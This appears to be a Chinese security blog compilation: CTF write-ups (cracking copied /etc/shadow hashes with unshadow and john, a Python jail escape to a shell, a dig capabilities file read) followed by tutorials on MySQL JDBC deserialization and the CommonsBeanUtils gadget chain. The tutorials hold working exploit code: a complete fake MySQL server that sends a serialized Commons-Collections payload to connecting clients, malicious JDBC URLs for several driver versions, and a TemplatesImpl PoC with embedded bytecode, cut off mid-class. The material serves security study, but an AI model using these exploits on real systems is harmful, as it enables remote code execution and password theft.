访问一下,ohhh,有权限访问,那就开始爆破密码

首先把/etc/passwd/etc/shadow文件内容复制到自己的kali,因为目标机没有相关环境嘛

然后使用unshadow工具把密码信息转化成可被攻击的信息文件

1
unshadow passwd shadow > mypasswd

接着用john工具暴力破解即可

1
john mypasswd

过几秒就得到了root用户的密码,然后ssh连上读flag内容即可

1
cat /home/ctf/flag

strange python

好欸,有一个python shell,但是怎么感觉怪怪的

看到这道题就让我想起来HNCTF2022里空白✌(Crazyman)出的的pyjail逃逸套题,tql

然后我就去春哥的博客里找能不能做的思路

首先看起来就是一个python的shell,没看出什么特别的,那就为了方便,用命令行正常拿flag试试看

1
__import__('os').system('sh')

shell很正常的出来了,然后我就找了半天flag在哪,既然不好找,那就康康docker的部署命令怎么写的吧

这下发现哩,在/opt/python/preload.py里放着,直接cat读取是读不到的,因为权限不够,Linux提权的手法我学过的sudo、suid这些都试了试,不太行

那就浅浅试试dir()康康有啥好东西,发现__flag__读出来是打乱的flag,怎么重组起来呢,可以发现除此之外还有randomseed以及shuffleseed可以获取到是114514,那这里shuffle随机排列的也就是伪随机了,开始复原

可以发现列表的元素都是两个两个的字符,那就开始写个逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
from random import shuffle

random.seed(114514)
flag=['77', '6d', 'c5', 'SC', '-4', 'f-', '18', '5a', '5a', 'NS', '80', '5e', '1}', 'TF', '-a', '90', 'b6', '88', 'c5', 'c2', '{6', '4-']

length = len(flag)
list1 = []
for i in range(length):
list1.append(str(i))
print(list1)
shuffle(list1)
list2 = list1
print(list2)
result = ""
for i in range(length):
index = list2.index(str(i))
result += flag[index]
print(result)

方法二:除此之外还可以执行open()获得flag,因为我们已知flag的路径

1
open('/opt/python/preload.py').read()

ability

题目描述:

能力越大,越危险
使用ssh连接端口,用户为”ctf”,密码为”ctf”

由题目描述联想到Capabilities提权,直接getcap -r / 2>/dev/null搜索可利用的二进制可执行文件,发现dig命令,可以在GTFOBins查找到这个命令可读取文件内容,直接dig -f flag即出flag

Java安全之JDBC反序列化

前言

首先导入依赖项到pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

JDBC简介

JDBC(Java DataBase Connectivity)是 Java 与数据库之间的桥梁,是 Java 提供对数据库进行连接、操作的标准API。Java 自身并不会去实现对数据库的连接、查询、更新等操作,而是通过抽象出数据库操作的 API 接口,即 JDBC 。不同的数据库提供商必须实现 JDBC 定义的接口从而也就实现了对数据库的一系列操作。本文针对 MySQL 数据库

JDBC对数据库操作一般有以下步骤:

  1. 导入包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.*就足够了

  2. 初始化 JDBC 驱动程序(driver),以便您可以打开与数据库的通信通道。这个在不同版本有所区别,从 mysql-connector-java 6开始com.mysql.jdbc.Driver被弃用了,改用新的驱动com.mysql.cj.jdbc.Driver,然后利用Class.forName()方法加载即可

  3. 与数据库建立连接。利用DriverManager中的getConnection方法创建一个与数据库服务器的物理连接的 Connection 对象,通过JDBC url,用户名,密码来连接相应的数据库,而JDBC url的格式是:

    1
    jdbc:mysql://host:port/database_name?arg1=value1&arg2=value2...
  4. 执行数据库查询。需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库

  5. 清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.sql.*;  // 1.导入软件包

public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC"; // serverTimezone设置时区
String username = "root";
String password = "root";
String sql = "select * from users";

Class.forName(driver); // 2.初始化JDBC驱动程序(Driver)
Connection conn = DriverManager.getConnection(DB_URL, username, password); // 3.与数据库建立连接
Statement statement = conn.createStatement(); // 4.1 创建Statement对象
ResultSet query = statement.executeQuery(sql); // 4.2 执行SQL查询
while (query.next()) {
System.out.println(query.getString("id") + " : " + query.getString("username")); // 打印查询结果
}
statement.close();
conn.close(); // 5.主动销毁,断开连接
}
}

漏洞分析

首先我们要触发反序列化攻击,就需要调用到readObject()方法,也就是要寻找哪里调用了readObject()方法且参数可控

由这个思路可以找到ResultSetImpl#getObject()方法,其中这段代码里面就调用了readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
switch (field.getMysqlType()) {
// 获取的字段的mysql类型必须为BIT
case BIT:
// 判断数据是不是blob或者二进制数据
if (!field.isBinary() && !field.isBlob()) {
return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
} else {
byte[] data = this.getBytes(columnIndex);
// 获取连接属性的autoDeserialize是否为true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {
return data;
} else {
Object obj = data;
if (data != null && data.length >= 2) {
// 判断数据前两个字节是否为-84和-19,Java对象序列化数据的标志
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}

try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException var13) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());
} catch (IOException var14) {
obj = data;
}
}

return obj;
}
}

要进入到里层调用readObject()要满足几个条件才行。这里参数还不可控,那么继续找哪里调用了getObject(),接着跟进到com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(),如果这里的rs变量传入的是ResultSetImpl对象的话,就可以调用到最上面的getObject方法

1
2
3
4
5
6
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}

}

接着继续找哪里调用了该方法,跟进com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(),它在内部调用了resultSetToMap()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
Statement stmt = null;
ResultSet rs = null;

try {
try {
toPopulate.clear();
stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}

if (stmt != null) {
stmt.close();
}

}

} catch (SQLException var8) {
throw ExceptionFactory.createException(var8.getMessage(), var8);
}
}

继续找哪里调用了populateMapWithSessionStatusValues(),最后我们找到了ServerStatusDiffInterceptor#preProcess()方法

而调用preProcess()比较特殊。先要了解一个参数queryInterceptors,这个参数具体参考官方文档

简单来说参数queryInterceptors就是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,然后在进行SQL查询操作之前,执行该类中的一个方法从而来影响最终的查询结果,而这个方法就是preProcess方法。(在查询完之后,还会调用其postProcess方法在此进行一个处理)

因此在 JDBC URL 中设定属性queryInterceptorsServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess()方法,进而通过上述调用链最终调用readObject()方法。而通过JDBC连接数据库的时候,会有几个内置的SQL语句会被执行。

这里我们可以本地测试验证一下,这里使用wireshark

然后写一个简单的demo连接本地数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.sql.*;

public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
String username = "root";
String password = "root";

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL, username, password);
conn.close();
}
}

然后使用tcp.port ==3306 && mysql 来过滤协议,就可以看到这个过程了

结合上面的分析,如果参数和JDBC url可控,就能执行反序列化,存在CC和CB链的反序列化漏洞时就可以进行漏洞利用。而这个参数就是查询语句的结果集,因此假如JDBC url可控,我们就可以让它连接任意Mysql服务器,就可以搭建恶意MySQL服务器来控制这两个查询的结果集,结合控制JDBC url中的连接设置项,就可以构成JDBC反序列化漏洞

恶意MySQL编写

接下来需要做的就是写一个假的恶意MySQL服务,当目标主机连接到恶意MySQL服务进行查询时,返回构造好的数据。

这里难点就是返回什么数据,这里主要考虑show session status响应包的编写,前面的过程按照wireshark抓包的过程直接引用下来

对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。这部分我们需要构造的是结果集这种数据包。

这里偷了张大佬图,结果集响应包结构如下图所示

在wireshark可以看到这些数据段

  • 数据段1 column count:说明下面的结果集有多少列
  • 数据段2 field packet:列的定义
  • 数据段3 intermedate EOF: EOF 包
  • 数据段4 row packet:行数据。
  • 数据段5 response EOF : EOF包

其中各字节代表的含义再次不做过多介绍,因为wireshark清晰的显示了哪些字节表示什么含义

这里就显示了这三个字节表示包数据长度为1

这里关注我们构造好的payload放哪能被反序列化到,也就是结果集在包中怎么存在的,查看本地测试的流量包可以发现,查询到的数据是放在row packet里面的,row packet的前三个字节表示长度,第四个字节表示包序号,第五个字节表示行数据的长度。那么构造关键就在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql_data = ""
column_count = "0100000102"
field_packet1 = "4e0000020364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c2100c0000000fd0100000000"
field_packet2 = "470000030364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530556616c75650e5641524941424c455f56414c55450c2100000c0000fd0000000000"
intermediate_EOF = "05000004fe00002200"
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)

mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF

上面介绍payload前面那个字节表示payload的长度,如果说payload过长,需要两个或者多个字节来表示长度的话,就需要在前面加上一个fc

最终fakeMySQL服务器代码为,这里参考大佬的自己写了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import binascii
import socket

greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_OK_data = "0700000100000002000000"
session_auto_increment_increment_data = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210006000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21007e000000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a00000000005000015fe0000020098000016013104757466380475746638047574663804757466380f757466385f67656e6572616c5f6369000532383830300347504c013107313034383537360236300130024f4e2a4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d5245414405323838303005000017fe00000200"
show_warnings_data = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'


def run():
# 被动接受TCP客户端连接,(阻塞式)等待连接的到来,conn是新的套接字对象,用户收发数据,addr是连接客户端的地址
conn, addr = s.accept()
print("Connection come from {}:{}".format(addr[0], addr[1]))

# 服务端发送greeting报文
send_data(conn, greeting_data)
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn, response_OK_data)

# 模拟后面的交互过程
while 1:
# 接收报文
data = receive_data(conn)
response_data = ""
# 判断客户端操作,响应对应内容
if "session.auto_increment_increment" in data:
response_data = session_auto_increment_increment_data
elif "show warnings" in data:
response_data = show_warnings_data
elif "set character_set_results" in data or "set names" in data:
response_data = response_OK_data
elif "show session status" in data:
response_data = get_payload_data()
else:
break
send_data(conn, response_data)


def send_data(conn, data):
print("[*] Sending the package : {}".format(data))
# 发送TCP数据,参数为string; a2b_hex()将16进制转换为字符串
conn.send(binascii.a2b_hex(data))


def receive_data(conn):
# 接受TCP套接字的数据,以字符串形式返回
data = conn.recv(1024)
print("[*] Receiving the package : {}".format(data))
return str(data).lower()


def get_payload_content():
# 生成的序列化数据到文件
file = "payload"
try:
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
print("[+] open successs")
except:
payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
print("[!] open false, by default")
return payload_content


def get_payload_data():
column_count = "0100000102"
field_packet1 = "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"
field_packet2 = "1a000003036465660001630163016301630c3f00ffff0000fc9000000000"
intermediate_EOF = "" # 这里加了EOF不能成功调用,怪,目前猜测数据包校验问题,还没尝试
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)

mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF
return mysql_data


if __name__ == '__main__':
host = "0.0.0.0"
port = 3309
# 创建socket对象,面向网络的TCP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置给定套接字选项的值, SO_REUSEADDR表示允许重用本地地址和端口,为了实验的时候不用等待很长时间
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定地址(host,port)到套接字
s.bind((host, port))
# 开始 TCP 监听,等待客户端连接,参数是 backlog 指定在拒绝连接之前,操作系统可以挂起的最大连接数量
s.listen(1)
print("start fake mysql server listening on {}:{}".format(host, port))
run()

Java Client代码为

1
2
3
4
5
6
7
8
9
10
11
12
import java.sql.*;

public class Test {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
}

不同 MySQL-JDBC-Driver 的 JDBC设置

8.x

上面就是用8.0.12分析的

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

6.x

参数名不同,queryInterceptors 换为 statementInterceptors

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

>=5.1.11的5.x

旧的驱动包名中没有cj

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

5.x <= 5.1.10

连接到数据库后还需要额外执行查询

5.1.29 - 5.1.40

1
jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

1
jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true

参考链接:

JDBC 反序列化漏洞分析& POC 编写 | 山石网科

小白看得懂的MySQL JDBC 反序列化漏洞分析 | Tri0mphe

Java安全之CommonsBeanUtils链

Commons BeanUtils

首先pom.xml导入依赖项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

Apache Commons项目的一个 Java 类库,提供了一组简单易用的API来操作 Java 对象和 Bean 属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对 JavaBean 功能的增强。以 Utils 结尾,一般这都是一个工具类/集。

JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。JavaBean类设置有构造函数,私有属性和公共 getter/setter 方法:JavaBean 类通常会包含一些私有属性,而这些属性必须通过公共的 getter 和 setter 方法进行访问和修改。这是为了保证 JavaBean 类的封装性,同时也方便外部程序对 JavaBean 对象的属性进行操作。比如下面这个 JavaBean 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class People {
private String name = "ph0ebus";
private int age = 18;

public People() {
}

public People(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

在Commons-Beanutils的 Java 库中的 PropertyUtils 类提供了一些方法能够动态调用 getter / setter 方法,获取属性值。

PropertyUtils.getProperty

1
2
3
4
5
6
7
8
9
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class CommonsBeanUtils {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new People(),"name"));
}
}

这样就能调用到创建的对象的对应 name 属性的 getter 方法,除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取

利用链剖析

首先我们知道这个方法可以调用对象的 getter 方法,那就继续看哪个 getter 方法能够达到利用效果。在CC3动态加载类利用链有符合这个条件的方法getOutputProperties()可以调用到newTransformer()方法,最终加载字节码实现命令执行

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

因此我们可以通过PropertyUtils.getProperty方法调用这个getter方法,但怎么从反序列化的readObject()方法调用到PropertyUtils.getProperty这个静态方法呢,继续找哪里会调用这个方法,可以发现熟悉的compare()方法,只是这次在BeanComparator类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property); // <-- 此处调用
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

BeanComparator类是commons-beanutils用来比较两个JavaBean是否相等的类,它实现了java.util.Comparator接口,自然就会有compare方法。这里只要在o1这个位置上放我们构造好的TemplatesImpl对象,在property这个位置上放OutputProperties,就可以成功调用到TemplatesImpl#getOutputProperties()方法了。

OK,至于如何调用这个compare()方法,就可以参考cc2的调用链

1
PriorityQueue.readObject -> PriorityQueue.siftUpUsingComparator -> BeanComparator.compare

这样整个链子就通了

编写PoC链

调用链如下

1
2
3
4
5
6
7
8
PriorityQueue.readObject -> 
PriorityQueue.siftUpUsingComparator ->
BeanComparator.compare ->
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

首先和CC3一样设置好TemplatesImpl对象

1
2
3
4
5
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "ph0ebus");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化BeanComparator,用于后面给PriorityQueue初始化传入比较器(comparator)

1
BeanComparator beanComparator = new BeanComparator();

然后创建PriorityQueue类的对象,利用其构造方法传入比较器beanComparator,这里就和CC2差不多了

1
2
3
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);

最后利用反射机制放入我们恶意构造的TemplateImpl对象和outputProperties,使其能够调用到TemplatesImpl#getOutputProperties(),完成后面一系列调用

1
2
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整PoC链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;

public class CommonsBeanUtils {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
